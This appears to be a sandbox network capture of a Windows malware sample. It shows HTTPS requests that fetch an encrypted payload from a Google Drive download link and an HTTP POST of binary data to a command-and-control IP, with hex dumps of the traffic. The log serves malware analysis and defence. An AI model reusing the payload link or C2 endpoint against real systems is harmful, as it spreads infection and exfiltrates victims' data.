Found The requested URL was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49795	136.243.159.53	80	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 12:18:28.705272913 CEST	5989	OUT	POST /~element/page.php?id=121 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 136.243.159.53 Accept: /* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: BA1747BC Content-Length: 163 Connection: close
Sep 15, 2021 12:18:29.071197033 CEST	5990	IN	HTTP/1.1 404 Not Found Date: Wed, 15 Sep 2021 10:18:28 GMT Server: Apache Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body> Not Found The requested URL was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. </body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49790	172.217.168.78	443	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:24 UTC	0	OUT	GET /uc?export=download&id=16hJeQVa7vECqqXwxmeW5i0BX_hPCAorF HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:24 UTC	0	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 15 Sep 2021 10:18:24 GMT Location: https://doc-0c-5o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v3agssaj4m1da9uvntfjbdrnuso7gs0u/1631701050000/14094524972347321979/*16hJeQVa7vECqqXwxmeW5i0BX_hPCAorF?e=download P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'nonce-kdYv/RTXuZONFePbc/VOZg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=223=So2Xbvtq5KpO-12RF-Vu1B1qg8dXC_bNoun4opN-gJCQTrrors1VZUGTKyGONUbFCv6r-P AukY7uNk47jko5d3zde-R0fzexaOxNxhWvz3h_6VXybTwOgEJk8ZFPf_bSzo2R7PakuYcECWIG5EWWhd-7rZn3ecwYm QqmBLqvOFDw; expires=Thu, 17-Mar-2022 10:18:24 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-09-15 10:18:24 UTC	1	IN	Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 63 2d 35 6f 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 76 33 61 67 Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0c-5o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v3ag
2021-09-15 10:18:24 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49791	172.217.168.65	443	C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.22789.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v3agssaj4m1da9uvntfjbdrnuso7gs0u/1631701050000/14094524972347321979/*16hJeQVa7vECqqXwxmeW5i0BX_hPCAorF?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-0c-5o-docs.googleusercontent.com Connection: Keep-Alive

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdu-4nCrv4NLLy4TpnRs47pdnwabhCoAXLsXCSPpT-Im10Arteu1mU6r-pMRF8Sx FfDUwmDILLO_AMklopVXR Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-API-Client, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-Header-Content-Disposition, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-API-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-STE-MODE, cast-device-capabilities, X-Server-Timeout Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="Onochie_FdNWrmuQ67.bin";filename*=UTF-8''Onochie_FdNWrmuQ67.bin Date: Wed, 15 Sep 2021 10:18:25 GMT Expires: Wed, 15 Sep 2021 10:18:25 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=M1ze+A== Content-Length: 106560 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000;v="46,43" Connection: close
2021-09-15 10:18:25 UTC	5	IN	Data Raw: b9 19 c0 ea 19 53 e1 aa e0 de cc 24 25 23 40 37 5c 7f 52 aa 67 42 49 07 c3 53 cf 27 f1 89 af 62 93 1b 3a 1a 1e c1 a2 6d 13 5c 04 02 49 f3 50 ea cf 3b 17 ea 33 ab ce 5b eb b0 4d b9 91 d7 ed 44 3c 1e 20 ea 15 32 31 02 6a 02 28 a4 06 2c 03 83 94 9e 21 72 a9 a4 23 3b 02 10 d6 dd e3 95 bc 51 6d a5 e9 8d 93 3e 78 6c bf 72 fc 83 48 27 00 38 3e 06 e9 58 6a 05 e7 af b6 c7 72 f2 70 10 9a 56 07 87 43 94 1c ec b8 45 e7 a7 9a 71 b4 cd c1 6b aa cf c1 24 50 47 a1 6e 9e f0 be c2 fd f4 03 50 5f 41 6b 9b 02 2b b5 17 a2 e8 5d 4a 2d 82 3e 5f 07 a1 6a fa b7 7c d5 7d c8 38 ac 75 4c a6 5e 1f 3b c9 5d 5f d6 ca a9 43 ea c5 b4 23 35 bc e4 ab 63 3e 9a 2a 5e 43 cf eb af 6a 47 83 8e eb fc ea b8 5e 4d ec af 80 80 8f 13 50 73 39 9f a5 d9 f6 48 8e 99 12 06 b5 bd 7e 7b 30 79 49 77 d0 Data Ascii: S\$%#@7\RGBlS'b:m\p;3[MD< 21j{,l#r;Qm>xlrH'8>XjrpVCEqk\$PGnP_Ak+J->_j}}8uLFn;_C#5c>^*Cj GMPs9H~{0ylw
2021-09-15 10:18:25 UTC	9	IN	Data Raw: 14 ab e5 1c e8 75 5d 4e e0 0e 6b 3f 77 ea 75 73 fc 83 47 91 45 38 31 b0 a4 59 e1 41 61 ab 3d fb fa c9 7b 1f 1e e5 08 98 f9 11 92 78 b5 88 c6 92 9f 32 be a8 b1 1f c3 b4 e1 54 19 ed b4 26 74 62 a5 5a e8 ae e0 b8 2b 09 08 fe 19 df c4 7d 82 81 45 72 e2 4b 61 7b 6a ce 35 67 ef 75 f3 8f 07 34 87 8d cd 81 a5 06 d2 f6 5a a1 e4 85 57 02 40 7a 6b 94 af 96 91 8c 59 7f 92 63 87 de 23 66 29 58 05 c6 32 d9 f2 d5 35 19 fc e0 e8 98 96 d5 b2 b2 13 99 fb 3a 48 5a f0 a3 78 b9 8e 4d 97 c5 ae b3 d4 4b 97 e2 8d 3f 98 68 3c 0a be 4c 25 04 9c a6 9f 90 de 45 a4 69 ad a5 78 3b 4e 7f 5d eb fd 29 a5 01 32 c7 96 f9 38 4b 9d 1c 46 04 1f 81 ac da b7 38 82 b6 5c 94 59 3e 4f 9d 3a 52 a8 62 c1 b1 70 8e 2a 18 0f 6d 40 9e 38 5f a5 4b 5c 7b 8f eb f3 72 4a 39 48 4f 23 a2 63 93 5a be 2c 58 Data Ascii: u\Nk?wusGE81YAa={x2T&tBz+}ErKa{j5gu4ZW@zkYc#f)X25-!(:8ZXk?h<L%Eix;Nj)}28KF8\Y>O:Rbp*m@8_K1 {rJ9HO#cZ,X
2021-09-15 10:18:25 UTC	12	IN	Data Raw: 99 a3 ad 65 6f 54 88 71 4d 49 27 8d d2 f6 b1 29 c1 3c dc d6 35 84 c2 d9 ab 4b df 5b a9 db 8f 33 a2 fd d7 a9 a1 0c 21 60 1f 64 fd 83 99 da ed 20 65 d1 e3 3f 31 4d 87 da b3 3c 31 c7 7f e4 98 be 88 ce a3 c2 01 6d a2 14 b4 ce 4d c1 91 b4 42 1a 7a 8a 94 a1 cf 21 b3 24 92 57 be 8d de 2b 9d 75 33 6e 7e 52 66 f1 e2 a5 01 ba 4b 85 66 0a 70 47 6f 8e a9 ad 7c d8 8a 9d 54 a6 9e d6 02 21 2c f6 f0 6b 50 ea 2c 78 03 03 7c a1 de 3d 3f cb 20 d2 b5 8f 51 5c 7d 37 ea f3 72 71 b7 19 4d d6 89 14 c6 d0 7f 46 a0 f3 77 ab 9f 57 f4 b5 6c 9b f6 90 01 8a 21 cf fc 8d 65 23 3b d5 86 cb 58 ca 62 76 7a e7 e5 dd 0e 1c 2f cd 1d 29 a7 c1 b7 0f 4d a2 5b 89 24 6c e0 c0 f7 85 f9 c9 8d bb 5a 9b 72 22 12 dd aa 9c 8d a3 6a b0 72 1d f2 4e 5d 05 da 21 27 ee 7c c4 b6 87 bc f7 4a 09 da fc ae 03 5a Data Ascii: eoTqMl')<5K[3l'd?e?1M<1mMBz!\$W+u3n~RfKfpGo\T\,kP,x =? Q\}7rqMFwW!e#;XbvJ)M\$IZr"jRn\)!JZ
2021-09-15 10:18:25 UTC	16	IN	Data Raw: 85 74 1e 69 91 41 1d 2c 44 18 ec 0b 07 20 fe 4b 42 41 24 09 0c 52 9d 68 d0 99 ca 52 cb 77 58 25 67 d7 ac 53 cc 7a c5 83 1d 9e da 71 2e 0e f9 61 20 29 f0 db 94 13 19 5d 62 5c 19 ae 19 fc 2b b0 97 63 4e 10 09 ed 87 3d 9b c8 61 b7 7b 2e d5 35 b0 3c ae b8 71 0e 94 fd a2 ff 18 d0 a6 76 c5 5a 55 ca 32 ca 0a 4c fa df 34 34 6b d0 88 37 ed 54 7c b5 bf f0 17 e9 de dc 7d 7e 48 d1 54 8a 13 b0 ce e1 8e f1 a9 bf 89 a5 39 47 76 d7 69 cd 01 14 0d 9e 8a d0 c9 aa 19 7a be dc 7c be ab b7 94 d4 9b b9 62 6b 98 0f ec 66 da 59 2f c3 2c 5d aa d0 ad 09 f3 bc c0 23 6f 9b dd 4b cd 33 6f 61 3e 42 2a 05 e8 01 67 1c bd f6 ce 31 1f 42 55 a7 8b aa b7 68 25 77 51 3b 06 89 34 46 17 56 f2 f1 90 7e 6d da f7 a1 53 20 0c 65 2b 10 52 3f 6b 8a 41 b4 d0 52 9c 40 23 08 57 6a d7 0c ae 47 20 6d 54 Data Ascii: tiA,D KBA\$RhRwX%gSqz.a)\bl+cN=a{.5<qvZU244k7T\]}~HT9Gviz\bkfY\,/#oK3a>B*glBUh%wQ;4FV~mS e+R?kAR@#WjG mT
2021-09-15 10:18:25 UTC	18	IN	Data Raw: ee df 9b 52 51 22 1a 1b 0a 1c 44 59 cd a8 46 04 9e 7f 47 f7 47 37 ed 37 11 3a b2 cd f9 bb 7f 27 31 58 d2 48 b6 a9 63 dc e9 05 40 65 17 d8 77 cf a0 0f d1 3f ff 37 59 7c 11 9d 9e 23 df 19 88 00 a5 f1 bc 09 94 86 45 f3 f5 a9 7d 04 9e 7c a9 b8 e8 73 96 3a 03 0c 72 a7 e6 ae 9c 06 bb 41 3e 0f 05 9d 17 ec c0 9b 54 2d MBz!\$W+u3n~RfKfpGo\T\,kP,x =? Q\}7rqMFwW!e#;XbvJ)M\$IZr"jRn\)!JZ Data Ascii: RQ"DYFGG77:'1XHc@ew?7Y\#E\}s:rA>T~oQ\IMG\&E +0kqD.Zpm\}m'sCniRh~SKSWW_A\}Uaf\k6HCfkB4O\} @@:Fq3

Timestamp	kBytes transferred	Direction	Data
2021-09-15 10:18:25 UTC	19	IN	Data Raw: 26 3b 42 10 55 19 f3 c8 7f 04 e6 49 b8 db c4 0d 8e 3a e9 1a 74 38 b2 ce 56 b1 4b fa 01 a6 84 fa 18 f9 de 47 72 f2 80 7a 9e 00 5f f0 f9 9a 1c 98 4e fd ce e0 4b b6 81 6f 6a fc b7 ff b7 02 4a 73 68 a6 11 cb 76 77 72 65 92 55 29 37 5f a9 dd 89 43 81 7d f5 10 3c 3f a5 7b 86 22 0f 58 77 24 9f 27 88 ba b5 e1 89 1d b9 d0 7e 2c 83 bd f4 28 aa ef cd 8a c3 13 16 ee 68 fd a1 d6 4f 54 c8 fa ad de a4 fe 87 c4 b7 ca 77 76 bd e4 f4 ac b3 33 54 69 58 ba c9 83 26 4d cc ea f1 be 90 9f 07 5e 43 95 11 ff af d9 d1 99 65 32 cd f4 8c e4 7b ee 40 e9 9d 93 35 f7 94 c1 b4 53 c2 b8 fl 61 83 13 ee 97 4d 1b 87 1c 26 c5 22 1f 3d c8 58 20 06 6f ea cc aa 0a 7a ca cc 3c 16 10 97 d0 3e 3f 26 f4 8f da aa 23 05 7e 4e 2c e0 54 ae b9 c4 7a fd 77 9e 91 6a a2 96 e4 77 aa 71 65 6c d2 10 3d 60 3d Data Ascii: &;BUL:t8VKGrz_NKojJshvwreU)7_C]<?["Xw\$~,(hOTwv3TiX&M^Ce2[0@5SaM&"=X oz<?&#-N,Tzjwqel="=
2021-09-15 10:18:25 UTC	20	IN	Data Raw: 52 23 6a d7 18 64 15 55 3e 95 43 3d a5 86 8b 91 84 b8 db fb cc 7c 0b 3a 32 a6 0b 41 af 32 57 9d df 46 59 8e ff e2 37 fa 3c 73 1d ce 60 6c b6 04 3b ba a0 51 41 cc 6d d6 75 40 7d c6 e7 d7 2e 9c d3 dc 07 c5 b2 0e e1 29 06 32 30 89 0d a1 29 d9 18 fc 24 94 76 a8 d0 13 c2 e2 b8 f1 a3 b2 19 88 8d ea 73 e4 df 97 a0 cc 58 e7 11 90 f6 3e 81 12 86 6b 5b e9 3a 91 e3 77 2f 81 f3 dc 90 a8 a9 14 18 af 99 a8 48 b0 14 37 e8 c0 aa 43 86 77 dc eb 04 87 10 7b 90 9a c9 4c d4 c8 62 f1 8a 9f 4c bb 74 3c fd 4c bc 9f a3 ef 32 07 17 75 0a 28 3b 0e a2 17 60 87 fd 77 34 07 5d b4 6f dd 07 cc 3a 05 d0 0c ca 09 99 53 96 1b 44 e9 e9 cf b9 d8 75 16 2f 7e bc f7 43 79 d1 01 9d 6f a8 1a 16 66 56 72 da a1 71 a3 86 b9 4b 8d 37 7c 2c d1 9e 2a e8 e0 c4 33 7c 96 d1 25 17 42 49 ce 70 b2 94 2c 1e Data Ascii: R#jdU>C=]:2A2WFY7<s`l;QAmu@.}.20)\$vsX>k[;w/H7Cw[LBtL<L2u[(`w4j:SDu~CyoFvRqK7l,*3 %B!p,
2021-09-15 10:18:25 UTC	22	IN	Data Raw: 32 59 12 6a 02 28 2d a4 2b eb fb f2 61 de f9 51 fd a6 c4 4d 94 68 dd e3 95 d4 41 69 a5 e9 de c4 d6 4b b2 40 8d 71 c6 b4 77 57 6b d7 88 e9 58 6a 6f e3 47 f9 19 8d 0d 0b c8 c3 d3 d2 ec a6 c9 4b a7 87 60 94 e1 64 c2 fc 2c e0 48 fa f9 ed 20 1d 7f 95 e3 aa 91 1d dc 88 9a 34 66 5f 53 5e 01 57 51 a8 25 d3 c0 33 82 67 c3 6d 7f e9 0a 02 16 dc 85 5d b7 98 22 53 00 58 b9 d0 7e 2c 83 bd f3 3f 3f 23 fb 34 b9 a6 ed 43 b0 74 b6 d5 34 6f 23 5c c1 bd cf 5c f3 de b9 e1 3b c2 8a 68 41 94 f0 61 03 96 47 b2 76 4b 70 6f cc 4c ff 3b 1c 15 79 62 fb e3 d7 ba 53 bb d6 c0 db 91 14 f0 74 39 f9 68 5b c2 52 b7 47 31 e0 8e 5b 85 ab 99 c1 61 09 e0 1d 97 82 39 87 1c fc fe 04 a4 a7 21 f7 8f 18 34 31 61 9d 5e d8 cd c5 67 66 de 88 5b b1 63 b6 c9 c4 b8 14 56 f2 94 17 4c f1 15 2b 24 08 a7 97 Data Ascii: 2Yj[(-+aQMhAiK@qwWkXjoGK`d,H 4f_S`WQ%3gm]"SX~.??4Ct4o#\\;#AaGvKPoL:ybSt9h[RG1[!a9!41a`gff cVL+&
2021-09-15 10:18:25 UTC	23	IN	Data Raw: ce d0 f9 b5 76 80 8c 44 6f f1 06 a4 5b 5e c9 3a fe 60 f7 d7 19 a6 4b 48 7d 40 76 0f ed 08 aa de 79 47 e2 8c c8 b1 63 d7 b7 4a 82 80 71 fa da 9d c1 89 2e 59 33 f8 fe a3 18 e7 9a bb 68 bb 0a 8a d0 23 f7 59 d2 35 f4 f2 9c 10 d6 4a 11 ba 0b 3d 2a 0c 76 f9 21 b4 ce 15 57 15 d5 e5 a1 a9 bf a2 9c 51 96 73 a3 76 d5 a1 d5 c8 f2 53 a5 e0 99 61 2a 23 e0 8c 69 52 15 0a b8 e2 be cd 9f 25 fe 55 e4 33 8c 5d e1 ea b1 1e 01 95 de 96 7a 9f 07 db 08 4b ad 2a 02 93 03 a1 79 40 b4 b9 91 71 bb 09 7b 63 de 04 d7 75 ca c3 74 24 2d 04 9d db 60 c1 f6 03 28 fe b0 f1 8c f6 a4 78 7f 3c 90 57 eb e3 c3 46 61 50 7f 96 5d c7 f8 21 88 16 1d f1 ab 9f c6 ea 64 9a 1e 29 5f 7e 05 30 ce 9b 09 71 84 7b 83 92 95 51 76 af f6 ad 0d 10 a7 d1 b6 65 9d 92 dd f9 45 c1 d7 8e e9 28 51 cb f1 69 d6 bb b7 Data Ascii: vDo[(`:KHj)@vyGcJq.Y3h#Y5J=~vIWQsvSa*#iR%U3]zK*y@q[cut\$~(`x~WFaP!d)~_0q[QVeE(Qi
2021-09-15 10:18:25 UTC	24	IN	Data Raw: 9a bf de 5a 8f 6e 4f dd a7 61 98 d0 28 c1 6b 9e 30 65 5b 02 3d ea 26 70 06 2c fc f5 24 61 17 21 41 44 f0 c4 bd ef e0 35 ba 41 43 ae 5e 65 60 93 10 fa 64 e5 c1 76 bc dc 16 7c 5d fb 6b 8d 05 a7 1f 15 18 da be 2f 63 f2 80 10 c3 0f 8a 60 f8 ee 18 6b 71 d5 05 42 72 2b 79 ce 95 56 48 50 8b 50 af 6d ca 4c 00 e8 96 49 99 9a 6d 3f a8 a5 05 a3 e1 0c 4b 95 01 fc 3f 6a 3e b9 54 f4 17 de 8b 60 ed 43 8e fc 99 30 27 33 44 45 62 55 95 f2 c7 aa 80 2c 34 3b 34 b9 2c 40 f2 12 ec 41 29 b1 fc c8 d6 fe 05 8a fd df de 15 08 5c f5 d2 a3 14 cf 20 25 5d 7d 2f 81 e1 fc 83 71 66 38 98 28 6f ed 38 c9 2f 55 64 b7 f9 5b e7 c5 db c6 c4 30 4c 1d 3b 08 5b 23 4b b7 47 eb a1 52 aa 77 27 78 ad 9e 7b 5a 46 15 5c b4 2e 0b 0f e9 cd b3 49 25 8b b4 4b ea 98 fd 4b 08 62 3e 19 94 d2 8c 55 ad 40 3e Data Ascii: ZnOa(k0e[=&p,\$a!AD5AC^e`dvj]k/c`kqBr+yVHPPmLm?K?>]~T^C03DEBu,4;@,A) %]]/qf8(o8/UD[OL; [#KGRw`x[Zf.l%KKb>U@>
2021-09-15 10:18:25 UTC	25	IN	Data Raw: 2f 60 fb 56 5a 98 36 e7 20 74 b3 c6 ce c4 64 08 08 71 c0 52 b7 76 d3 5e ed 02 c1 78 ad 0d ef 3a b7 f2 5e df e7 86 8f 38 1a d7 6b 49 47 3b 4b aa 89 1a 74 b7 d5 4d cc cf 9a b8 27 d7 f4 6d ad 62 da 80 93 78 5b 50 ab d8 9e ed 64 5e f2 59 a6 54 f5 fb bc d9 38 d0 be 33 90 db 2b 4f 4c ca 21 f4 f1 fa 84 29 23 25 5c 8b 19 d4 06 b8 68 e2 12 48 02 29 a9 f3 a1 54 03 b6 76 ce ef a4 7a fd 21 b7 19 44 aa ea 73 ea 96 57 b6 2a 2e c3 4e d1 b2 e9 00 67 00 68 68 62 8f 4d 4e de 83 3e 56 f1 9c a8 d5 89 57 db 2a fe 2b 77 49 f4 bd 1c cd e2 5d ad 8c bb 6c 71 7a 87 f8 49 4e 08 28 20 5c 48 9d 4a 0f 09 77 ee c6 2d 3f a3 2c 3a 2c a6 5f c5 dc 07 e5 8c 46 db d5 0a dc 4c c0 c0 a3 99 ed 5c 32 4e 5e c6 f5 9f 97 35 b9 d4 92 8e f6 1e 93 85 09 c3 1b 07 f1 34 36 4f be 09 d8 82 5d e0 4b df f8 Data Ascii: /`VZ6 tdqRv^x:^8kiG;KiM`mbx[Pd^YT83+OL!)%#(hH)Tvz!DsW^N.ghhbMN>VW^+w]]qzIN(\HJw~?.,;_F L!2N^546O]K
2021-09-15 10:18:25 UTC	27	IN	Data Raw: 0b f8 ad 80 27 df 9a d0 6e 38 da 77 e0 11 4a 67 fa bd 99 2a 1f 93 7a 52 5f a7 4e 4c 8d b1 30 b4 61 d0 d9 38 54 86 29 e2 5b 06 8a 30 43 72 c5 aa 97 f4 67 76 b0 ae 93 3a cd b5 a6 4a b9 cb 5b 16 72 1e 73 88 3d ef 9a 83 7d b7 d8 59 61 bb c6 9d 4d 00 0d 0f 61 7f 38 8d 79 70 49 11 1b f1 11 f7 11 51 a4 38 c6 c2 94 5d 63 f2 09 c8 c0 96 37 0d d7 ce 34 90 4b cc 62 17 dc 60 72 70 f5 d4 9e 5e a9 4a ca 5e 03 6a eb 3a e1 99 25 6d af 95 31 83 d2 65 20 b7 76 86 30 b4 8a 9c c3 65 1b e5 09 a4 b3 87 3b dc 39 3b 45 d3 19 df 9e 99 89 c3 96 aa 37 a3 1a ca 9c 5f 73 6d b1 7d 27 8d 72 f5 6b 95 e2 4d de 2e 93 4e 62 d9 7c 28 1b 48 b1 5e de 74 ae f7 ad b3 d4 96 33 81 54 4a 73 e0 43 ae ea c9 6e 3c b7 da 20 93 de 45 f3 4d 49 dd 27 e0 b5 fc 99 e8 2b b5 4d 28 fb b3 3d 56 d0 Data Ascii: `n8wJg^zR_NL0a8T)[0Crgv:J[rs~}YaMa8yp!Q8]c74Kb`rp^J^j:%m1e v0e;9;E7_va}{rk^M.Nb[(H^t3TJsCn< EMI'+M(=V
